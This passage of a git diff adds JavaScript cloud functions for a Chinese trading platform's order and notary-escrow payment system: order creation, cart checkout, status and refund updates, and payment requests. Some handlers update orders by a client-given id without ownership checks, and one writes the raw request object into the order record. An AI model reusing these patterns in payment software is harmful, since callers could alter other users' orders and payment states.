+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ const companyList = []
+ let goods
+ if (data.type === 0) {
+ goods = await vk.baseDao.findById({
+ dbName: "jjx-goods",
+ id: data.goodsId
+ })
+ if (goods.companyId) companyList.push(goods.companyId)
+ } else {
+ goods = data.goods
+ }
+
+ let amount
+ if (goods.sku) {
+ const sku = goods.sku.find(item => item._index === data.skuId)
+ amount = sku.values * data.num
+ }else {
+ amount = goods.amount * data.num
+ }
+
+ let ensureIndex = 0
+ if (data.ensureIndex) ensureIndex = data.ensureIndex
+
+ let offAmount = amount
+ let saveAmount = 0, offRate = 100
+ if (userInfo.userLevel > 0) {
+ const userLevel = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-user-level",
+ whereJson: {
+ level: userInfo.userLevel
+ }
+ })
+ if (userLevel && ![2, 3].includes(data.type)) {
+ offRate = parseInt(userLevel.valueAddRate)
+ offAmount = (amount * (parseInt(userLevel.valueAddRate) / 100)).toFixed(2)
+ saveAmount = (amount - offAmount).toFixed(2)
+ }
+ }
+
+ // orderStatus 0待支付 1已支付待发货 2已发货待收货 3已收货待完成 4已完成 5退款审核中 6退款成功 7退款失败 10 待设置价格 11已派单待完成(平台服务)
+
+ // type 0: 商品
+ // type 1: 自营
+ // type 2: 保证金
+ // type 3: 会员升级
+ // type 4: 询价
+ // type 5: 加工
+ // type 6: 旧货
+ // type 7: 询价次数
+ // type 8: 现货广告
+ // type 9: 旧货加急
+ // type 10: 旧货次数
+ // type 11: 下载次数
+ // type 12: 合同下载
+ // type 13: 签约宝次数
+ // type 14: 签约宝
+ // type 15: 自营询价
+
+ const defaultAddress = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-user-address",
+ whereJson: {
+ uid,
+ isDefault: true
+ }
+ })
+ let name = '', phone = '', addressRegion = null, addressDetail = ''
+ if (defaultAddress) {
+ name = defaultAddress.name
+ phone = defaultAddress.phone
+ addressRegion = defaultAddress.addressRegion
+ addressDetail = defaultAddress.addressDetail
+ }
+
+ const orderId = await vk.baseDao.add({
+ dbName: "jjx-order",
+ dataJson: {
+ orderNo: vk.pubfn.createOrderNo("39XU", 24),
+ // orderNo: vk.pubfn.createOrderNo("3199", 24),
+ uid,
+ orderStatus: 0,
+ type: data.type,
+ amount,
+ offAmount,
+ saveAmount,
+ offRate,
+ name,
+ phone,
+ addressRegion,
+ addressDetail,
+ companyList,
+ ensureIndex,
+ }
+ })
+
+ await vk.baseDao.add({
+ dbName: "jjx-order-goods",
+ dataJson: {
+ orderId,
+ goodsId: data.goodsId,
+ skuId: data.skuId,
+ num: data.num,
+ goodsName: goods.name,
+ goodsPrice: goods.amount,
+ goodsCover: goods.cover,
+ companyId: goods.companyId,
+ }
+ })
+
+ res.data = orderId
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/addDownloadOrder.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/addDownloadOrder.js
new file mode 100644
index 0000000..ffd2b89
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/addDownloadOrder.js
@@ -0,0 +1,67 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/order/kh/add 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ const amountItem = await vk.baseDao.findById({
+ dbName: 'jjx-dict',
+ id: '97843aa265d085bc0196c7801ce92114'
+ })
+
+ const amount = amountItem.content
+ let offAmount = amount
+ let saveAmount = 0, offRate = 100
+ if (userInfo.userLevel > 0) {
+ const userLevel = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-user-level",
+ whereJson: {
+ level: userInfo.userLevel
+ }
+ })
+ if (userLevel) {
+ offRate = parseInt(userLevel.valueAddRate)
+ offAmount = (amount * (parseInt(userLevel.valueAddRate) / 100)).toFixed(2)
+ saveAmount = (amount - offAmount).toFixed(2)
+ }
+ }
+
+ const orderId = await vk.baseDao.add({
+ dbName: "jjx-order",
+ dataJson: {
+ orderNo: vk.pubfn.createOrderNo("39XU", 20),
+ uid,
+ orderStatus: 0,
+ type: 11,
+ amount,
+ offAmount,
+ saveAmount,
+ offRate,
+ }
+ })
+
+ await vk.baseDao.add({
+ dbName: "jjx-order-goods",
+ dataJson: {
+ orderId,
+ goodsId: '97843aa265d085bc0196c7801ce92114',
+ num: 1,
+ goodsName: '金久信学堂下载次数购买',
+ goodsPrice: amount,
+ goodsCover: null,
+ }
+ })
+
+ res.data = orderId
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/addFromList.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/addFromList.js
new file mode 100644
index 0000000..5e58dea
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/addFromList.js
@@ -0,0 +1,130 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/order/kh/addFromList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ let amount = 0
+ const cartList = await vk.baseDao.selects({
+ dbName: "jjx-cart",
+ whereJson: {
+ uid,
+ _id: _.in(data.ids)
+ },
+ foreignDB: [
+ {
+ dbName: "jjx-goods", // 副表名
+ localKey: "goodsId", // 主表外键字段名
+ foreignKey: "_id", // 副表外键字段名
+ as: "goods",
+ limit: 1,
+ },
+ ]
+ })
+
+ if (cartList.total === 0) return {
+ code: -1,
+ msg: "购物车中没有此商品"
+ }
+
+ for (const item of cartList.rows) {
+ const sku = item.goods.sku.find(sku => sku._index === item.skuId)
+ amount += item.num * parseFloat(sku.values)
+ }
+
+ let offAmount = amount
+ let saveAmount = 0, offRate = 100
+ if (userInfo.userLevel > 0) {
+ const userLevel = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-user-level",
+ whereJson: {
+ level: userInfo.userLevel
+ }
+ })
+ if (userLevel) {
+ offRate = parseInt(userLevel.valueAddRate)
+ offAmount = amount * (parseInt(userLevel.valueAddRate) / 100)
+ saveAmount = amount - offAmount
+ }
+ saveAmount = saveAmount.toFixed(2)
+ }
+
+ const defaultAddress = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-user-address",
+ whereJson: {
+ uid,
+ isDefault: true
+ }
+ })
+ let name = '', phone = '', addressRegion = null, addressDetail = ''
+ if (defaultAddress) {
+ name = defaultAddress.name
+ phone = defaultAddress.phone
+ addressRegion = defaultAddress.addressRegion
+ addressDetail = defaultAddress.addressDetail
+ }
+ const companyList = []
+ for (const item of cartList.rows) {
+ if (item.goods.companyId) companyList.push(item.goods.companyId)
+ }
+ const orderId = await vk.baseDao.add({
+ dbName: "jjx-order",
+ dataJson: {
+ orderNo: vk.pubfn.createOrderNo("39XU", 20),
+ orderStatus: 0,
+ type: data.type,
+ uid,
+ amount,
+ offAmount,
+ saveAmount,
+ offRate,
+ name,
+ phone,
+ addressRegion,
+ addressDetail,
+ companyList,
+ }
+ })
+
+ const list = []
+ for (const item of cartList.rows) {
+ list.push({
+ orderId: orderId,
+ goodsId: item.goodsId,
+ num: item.num,
+ goodsName: item.goods.name,
+ goodsPrice: parseFloat(item.goods.amount),
+ goodsCover: item.goods.cover,
+ skuId: item.skuId,
+ companyId: item.goods.companyId,
+ })
+ }
+
+ await vk.baseDao.adds({
+ dbName: "jjx-order-goods",
+ dataJson: list
+ })
+
+ await vk.baseDao.del({
+ dbName: "jjx-cart",
+ whereJson: {
+ uid,
+ _id: _.in(data.ids)
+ }
+ })
+
+ res.data = orderId
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/changeInvoice.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/changeInvoice.js
new file mode 100644
index 0000000..bcd756d
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/changeInvoice.js
@@ -0,0 +1,26 @@
+'use strict';
+const dayjs = require("dayjs");
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/order/kh/changeOrderStatus 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid, orderStatus, sendMethod, resultFiles } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+ data.isOpen = 0
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: data.id,
+ dataJson: data
+ });
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/changeOrderStatus.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/changeOrderStatus.js
new file mode 100644
index 0000000..1635526
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/changeOrderStatus.js
@@ -0,0 +1,31 @@
+'use strict';
+const dayjs = require("dayjs");
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/order/kh/changeOrderStatus 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid, orderStatus, sendMethod, resultFiles } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: data.id,
+ dataJson: {
+ orderStatus,
+ sendMethod,
+ resultFiles,
+ expressTime: dayjs().valueOf(),
+ }
+ });
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/changeRefundStatus.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/changeRefundStatus.js
new file mode 100644
index 0000000..1db983f
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/changeRefundStatus.js
@@ -0,0 +1,29 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/order/kh/refund 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, refundRefuseReason, orderStatus} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: data.id,
+ dataJson: {
+ refundRefuseReason,
+ orderStatus,
+ refundResponseAt: vk.pubfn.timeFormat(new Date(), "yyyy-MM-dd hh:mm:ss")
+ }
+ })
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/getExpiringNotaryPayList.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/getExpiringNotaryPayList.js
new file mode 100644
index 0000000..5632eae
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/getExpiringNotaryPayList.js
@@ -0,0 +1,48 @@
+'use strict';
+
+module.exports = {
+ /**
+ * 查询当前买家 24 小时内即将自动划付的公证付款申请。
+ */
+ main: async (event) => {
+ const {data = {}, util} = event;
+ const {uid} = data;
+ const {vk, _} = util;
+ const now = Date.now();
+ const deadline = now + 24 * 60 * 60 * 1000;
+
+ const result = await vk.baseDao.select({
+ dbName: 'jjx-order-pay-list',
+ whereJson: _.and([
+ {
+ buyerUid: uid,
+ isNotaryPay: true,
+ isNotaryApply: true,
+ hasPaid: true,
+ buyerRefuse: false,
+ sellerConfirm: false,
+ },
+ {autoTransferTimestamp: _.gte(now)},
+ {autoTransferTimestamp: _.lte(deadline)},
+ ]),
+ sortArr: [{name: 'autoTransferTimestamp', type: 'asc'}],
+ pageIndex: 1,
+ pageSize: 20,
+ });
+
+ return {
+ code: 0,
+ msg: '',
+ data: {
+ count: (result.rows || []).length,
+ rows: (result.rows || []).map(item => ({
+ orderId: item.orderId,
+ type: item.type,
+ amount: item.amount,
+ autoTransferAt: item.autoTransferAt,
+ autoTransferTimestamp: item.autoTransferTimestamp,
+ })),
+ },
+ };
+ },
+};
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/getInfo.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/getInfo.js
new file mode 100644
index 0000000..483511a
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/getInfo.js
@@ -0,0 +1,67 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/order/kh/getInfo 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, resetOrderNo} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.selects({
+ dbName: "jjx-order",
+ getOne: true,
+ getMain: true,
+ whereJson: {
+ _id: data.id
+ },
+ foreignDB: [
+ {
+ dbName: "jjx-order-goods",
+ localKey: "_id",
+ foreignKey: "orderId",
+ as: "goods",
+ }
+ ]
+ });
+
+ if (vk.pubfn.isNotNull(resetOrderNo) && resetOrderNo && res) {
+ const orderNo = vk.pubfn.createOrderNo("39XU", 24)
+ // const orderNo = vk.pubfn.createOrderNo("3199", 24)
+ await vk.baseDao.updateAndReturn({
+ dbName: "jjx-order",
+ whereJson: {
+ _id: data.id
+ },
+ dataJson: {
+ orderNo
+ }
+ });
+ res.orderNo = orderNo
+ }
+
+ if (res.type === 0) {
+ for (const goodsItem of res.goods) {
+ const goods = await vk.baseDao.findById({
+ dbName: "jjx-goods",
+ id: goodsItem.goodsId
+ });
+ goodsItem.sku = goods.sku.find(item => item._index === goodsItem.skuId)
+ if (goods.companyId) {
+ goodsItem.company = await vk.baseDao.findById({
+ dbName: "uni-id-users",
+ id: goods.companyId
+ })
+ }
+ }
+ }
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/getList.js
new file mode 100644
index 0000000..15fd328
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/getList.js
@@ -0,0 +1,203 @@
+'use strict';
+const dayjs = require("dayjs");
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/order/kh/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, type, pageIndex, pageSize, isSeller, signMethod, orderStatus, keyword} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const whereJsonArr = []
+ if (!vk.pubfn.isNull(type)) {
+ if (Array.isArray(type)) whereJsonArr.push({type: _.in(type)})
+ else whereJsonArr.push({type})
+ }
+
+ if (vk.pubfn.isNull(isSeller) || parseInt(isSeller) === 0) whereJsonArr.push({uid})
+ else {
+ whereJsonArr.push(_.or([
+ {
+ sellerUid: uid
+ },
+ {
+ companyList: _.in([uid])
+ }
+ ]))
+ }
+
+ if (vk.pubfn.isNotNull(signMethod)) whereJsonArr.push({signMethod})
+ else whereJsonArr.push({signMethod: _.neq(1)})
+
+ if (vk.pubfn.isNotNull(orderStatus)) whereJsonArr.push({orderStatus})
+ else whereJsonArr.push({orderStatus: _.neq(-1)})
+
+ if (vk.pubfn.isNotNull(keyword)) whereJsonArr.push({orderNo: new RegExp(keyword)})
+
+ let whereJson = null
+ if (whereJsonArr.length > 0) whereJson = _.and(whereJsonArr)
+ console.log('whereJsonArr', whereJsonArr)
+ res = await vk.baseDao.selects({
+ dbName: "jjx-order",
+ getCount: true,
+ whereJson: whereJson,
+ pageIndex,
+ pageSize,
+ sortArr: [{"name": "_add_time", "type": "desc"}],
+ foreignDB: [
+ {
+ dbName: "jjx-order-goods",
+ localKey: "_id",
+ foreignKey: "orderId",
+ as: "goods",
+ limit: 500,
+ foreignDB: [
+ {
+ dbName: "jjx-goods",
+ localKey: "goodsId",
+ foreignKey: "_id",
+ as: "goods",
+ limit: 1
+ }
+ ],
+ },
+ {
+ dbName: "uni-id-users",
+ localKey: "uid",
+ foreignKey: "_id",
+ as: "buyer",
+ limit: 1
+ },
+ {
+ dbName: "uni-id-users",
+ localKey: "sellerUid",
+ foreignKey: "_id",
+ as: "seller",
+ limit: 1
+ },
+ {
+ dbName: "jjx-order-pay-list",
+ localKey: "_id",
+ foreignKey: "orderId",
+ as: "payList",
+ limit: 1,
+ sortArr: [{"name": "_add_time", "type": "desc"}],
+ },
+ {
+ dbName: "jjx-contract",
+ localKey: "contractId",
+ foreignKey: "_id",
+ as: "contract",
+ limit: 1,
+ },
+
+ ],
+ })
+
+ for (let i in res.rows) {
+ res.rows[i].isSeller = res.rows[i].uid !== uid
+ res.rows[i].isBuyer = res.rows[i].uid === uid
+ if (res.rows[i].type > 3 && res.rows[i].orderStatus > 0) {
+ res.rows[i].hasPay = !!await vk.baseDao.findByWhereJson({
+ dbName: "jjx-order-pay-list",
+ whereJson: {
+ orderId: res.rows[i]._id,
+ buyerRefuse: false,
+ hasPaid: true
+ }
+ })
+ }
+ if (res.rows[i].contract) {
+ let sheet = null
+ if (res.rows[i].contract.type === 'enquiry') {
+ sheet = await vk.baseDao.findById({
+ dbName: 'jjx-enquiry-sheet',
+ id: res.rows[i].contract.sheetId
+ })
+ } else if (res.rows[i].contract.type === 'process') {
+ sheet = await vk.baseDao.findById({
+ dbName: 'jjx-process-sheet',
+ id: res.rows[i].contract.sheetId
+ })
+ }
+ res.rows[i].sheet = sheet
+ }
+ if (res.rows[i].type === 3) res.rows[i].upgradeExpiredAt = dayjs(userInfo.upgradeExpiredAt).format('YYYY-MM-DD HH:mm:ss')
+ if (res.rows[i].type === 8) res.rows[i].spot = await vk.baseDao.findById({
+ dbName: "jjx-spot-goods",
+ id: res.rows[i].goods[0].pk
+ })
+ if (res.rows[i].type === 0) {
+ for (const goodsItem of res.rows[i].goods) {
+ const goods = await vk.baseDao.findById({
+ dbName: "jjx-goods",
+ id: goodsItem.goodsId
+ });
+ if (goods && goods.sku && goods.sku.length > 0) goodsItem.sku = goods.sku.find(item => item._index === goodsItem.skuId)
+ }
+ }
+ if (res.rows[i].type === 1) {
+ res.rows[i].selfProduct = await vk.baseDao.findByWhereJson({
+ dbName: 'jjx-order-selfProduct',
+ whereJson: {
+ orderId: res.rows[i]._id
+ }
+ })
+ }
+
+ if (res.rows[i].type === 12 && res.rows[i].goods[0].goodsId) {
+ res.rows[i].certificate = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-certificate",
+ whereJson: {
+ contractId: res.rows[i].goods[0].goodsId
+ }
+ });
+ console.log('res.rows[i].certificate', res.rows[i].certificate)
+ }
+ if (res.rows[i].type === 7) {
+ for (let j in res.rows[i].goods) {
+ if (res.rows[i].goods[j].isSingleQuote) {
+ switch (res.rows[i].goods[j].type) {
+ case 'enquiry' : {
+ res.rows[i].goods[j].sheet = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-enquiry-sheet",
+ whereJson: {
+ _id: res.rows[i].goods[j].sheetId
+ }
+ })
+ }
+ break;
+ case 'old' : {
+ res.rows[i].goods[j].sheet = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-old",
+ whereJson: {
+ _id: res.rows[i].goods[j].sheetId
+ }
+ })
+ }
+ break;
+ case 'process' : {
+ res.rows[i].goods[j].sheet = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-process-sheet",
+ whereJson: {
+ _id: res.rows[i].goods[j].sheetId
+ }
+ })
+ }
+ break;
+ }
+
+ }
+ }
+ }
+ }
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/getOrCreateNotaryFullPay.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/getOrCreateNotaryFullPay.js
new file mode 100644
index 0000000..6e664f8
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/getOrCreateNotaryFullPay.js
@@ -0,0 +1,86 @@
+'use strict';
+const notaryPay = require('./util/notaryPay');
+
+module.exports = {
+ /**
+ * 获取或创建公证全额支付单
+ * @url client/order/kh/getOrCreateNotaryFullPay 前端调用的url参数地址
+ */
+ main: async (event) => {
+ let {data = {}, util} = event;
+ let {vk} = util;
+ let res = {code: 0, msg: ''};
+
+ const order = await vk.baseDao.findById({
+ dbName: 'jjx-order',
+ id: data.id
+ });
+ if (!order) return {code: -1, msg: '订单不存在'};
+ if (!(Number(order.type) > 3 && Number(order.signMethod) === 0)) {
+ return {code: -1, msg: '当前订单不是公证支付订单'};
+ }
+ if (Number(order.notaryPayStatus) === 1) {
+ return {code: -1, msg: '订单已完成公证支付'};
+ }
+
+ let payRecord = await notaryPay.findFullPayRecord(vk, order._id);
+ if (payRecord && payRecord.hasPaid) {
+ await vk.baseDao.updateById({
+ dbName: 'jjx-order',
+ id: order._id,
+ dataJson: {
+ notaryPayStatus: 1,
+ notaryPayListId: payRecord._id,
+ notaryPayOrderNo: payRecord.orderNo,
+ payStatus: 2
+ }
+ });
+ return {code: -1, msg: '订单已完成公证支付'};
+ }
+ if (!payRecord) {
+ const now = vk.pubfn.timeFormat(new Date(), "yyyy-MM-dd hh:mm:ss");
+ const dataJson = {
+ orderId: order._id,
+ amount: order.offAmount || order.amount,
+ type: '公证支付',
+ remark: '买家全额支付到金久信公证平台',
+ buyerRemark: '',
+ photos: [],
+ payerUid: null,
+ hasPaid: false,
+ paidVoucher: '',
+ paidAt: '',
+ confirmAt: '',
+ buyerUid: order.uid,
+ sellerUid: order.sellerUid,
+ status: 0,
+ buyerRefuse: false,
+ refuseReason: null,
+ buyerPhotos: [],
+ expressPhoto: [],
+ isExpress: false,
+ expressName: null,
+ expressNo: null,
+ ext: [],
+ isNotaryPay: true,
+ isNotaryFullPay: true,
+ transferStatus: 0,
+ sellerConfirm: false,
+ orderNo: vk.pubfn.createOrderNo("39XU", 24),
+ applyAt: now,
+ applyTimestamp: Date.now()
+ };
+ const id = await vk.baseDao.add({
+ dbName: 'jjx-order-pay-list',
+ dataJson
+ });
+ payRecord = {
+ ...dataJson,
+ _id: id
+ };
+ }
+
+ res.data = payRecord;
+ return res;
+ }
+};
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/makePay.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/makePay.js
new file mode 100644
index 0000000..07b6951
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/makePay.js
@@ -0,0 +1,107 @@
+'use strict';
+const notaryPay = require('./util/notaryPay');
+
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/order/kh/makePayList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ // orderStatus 0待支付 1已支付待发货 2已发货待收货 3已收货待完成 4已完成
+ const order = await vk.baseDao.findById({
+ dbName: "jjx-order",
+ id: data.payInfo.orderId
+ })
+ const isNotaryPay = !!order && Number(order.type) > 3 && Number(order.signMethod) === 0
+ let fullPayRecord = null
+ if (isNotaryPay) {
+ if (Number(order.notaryPayStatus) !== 1) return {code: -1, msg: '买家尚未完成公证全额支付,暂不能申请付款'}
+ fullPayRecord = await notaryPay.findFullPayRecord(vk, order._id)
+ if (!fullPayRecord || !fullPayRecord.hasPaid || !fullPayRecord.orderNo) {
+ return {code: -1, msg: '未找到已支付的公证全额支付单'}
+ }
+ const applyList = await vk.baseDao.select({
+ dbName: "jjx-order-pay-list",
+ whereJson: {
+ orderId: order._id,
+ isNotaryApply: true,
+ buyerRefuse: false
+ },
+ pageIndex: 1,
+ pageSize: -1
+ })
+ const appliedAmount = (applyList.rows || []).reduce((sum, item) => sum + Number(item.amount || 0), 0)
+ const nextAmount = Number(data.payInfo.amount || 0)
+ const fullAmount = Number(fullPayRecord.amount || 0)
+ if (!Number.isFinite(nextAmount) || nextAmount <= 0) return {code: -1, msg: '申请金额不正确'}
+ if (Number((appliedAmount + nextAmount).toFixed(2)) > fullAmount) {
+ return {code: -1, msg: '累计申请金额不能超过买家公证支付总额'}
+ }
+ }
+ const payApplyFields = await notaryPay.buildPayApplyFields(vk)
+ const dataJson = {
+ ...data.payInfo,
+ ...payApplyFields,
+ isNotaryPay,
+ isNotaryApply: isNotaryPay,
+ sourcePayListId: isNotaryPay ? fullPayRecord._id : '',
+ sourcePayOrderNo: isNotaryPay ? fullPayRecord.orderNo : '',
+ fullPayListId: isNotaryPay ? fullPayRecord._id : '',
+ fullPayOrderNo: isNotaryPay ? fullPayRecord.orderNo : '',
+ fullPayAmount: isNotaryPay ? fullPayRecord.amount : '',
+ fullPayAt: isNotaryPay ? (fullPayRecord.paidAt || '') : '',
+ hasPaid: isNotaryPay ? true : data.payInfo.hasPaid,
+ paidAt: isNotaryPay ? (fullPayRecord.paidAt || '') : data.payInfo.paidAt,
+ paidVoucher: isNotaryPay ? '' : data.payInfo.paidVoucher,
+ buyerRemark: isNotaryPay ? '公证付款申请,待买家确认划付' : data.payInfo.buyerRemark
+ }
+ dataJson.orderNo = vk.pubfn.createOrderNo("39XU", 24)
+ const payListId = await vk.baseDao.add({
+ dbName: "jjx-order-pay-list",
+ dataJson
+ });
+ dataJson._id = payListId
+
+ let orderStatus = data.payInfo.isExpress ? 2 : 1;
+
+ const hasExpress = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-order-pay-list",
+ whereJson:{
+ orderId: data.payInfo.orderId,
+ isExpress: true,
+ buyerRefuse: false
+ }
+ });
+
+ if (hasExpress) orderStatus = 2
+
+ // payStatus(弃用) 0待创建 1待支付预付款 2已支付预付款,支付进度款中 3进度款已支付,尾款支付中 4完成
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: data.payInfo.orderId,
+ dataJson: {
+ orderStatus,
+ payStatus: isNotaryPay ? 2 : 1
+ }
+ });
+
+ if (isNotaryPay) {
+ await notaryPay.notifyPayApply({
+ vk,
+ payRecord: dataJson,
+ order
+ })
+ }
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/orderPayList.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/orderPayList.js
new file mode 100644
index 0000000..7ce60e6
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/orderPayList.js
@@ -0,0 +1,38 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/order/kh/orderPayList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.select({
+ dbName: "jjx-order-pay-list",
+ whereJson: {
+ orderId: data.id
+ },
+ sortArr: [{"name": "_add_time", "type": "asc"}],
+ pageIndex: 1,
+ pageSize: -1
+ })
+
+ for (const item of res.rows) {
+ item.isSeller = item.sellerUid === uid
+ item.isBuyer = item.buyerUid === uid
+ item.seller = await vk.baseDao.findById({
+ dbName: "uni-id-users",
+ id: item.sellerUid
+ });
+ }
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/paidConfirm.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/paidConfirm.js
new file mode 100644
index 0000000..ae77600
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/paidConfirm.js
@@ -0,0 +1,98 @@
+'use strict';
+const notaryPay = require('./util/notaryPay');
+
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/order/kh/paidConfirm 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
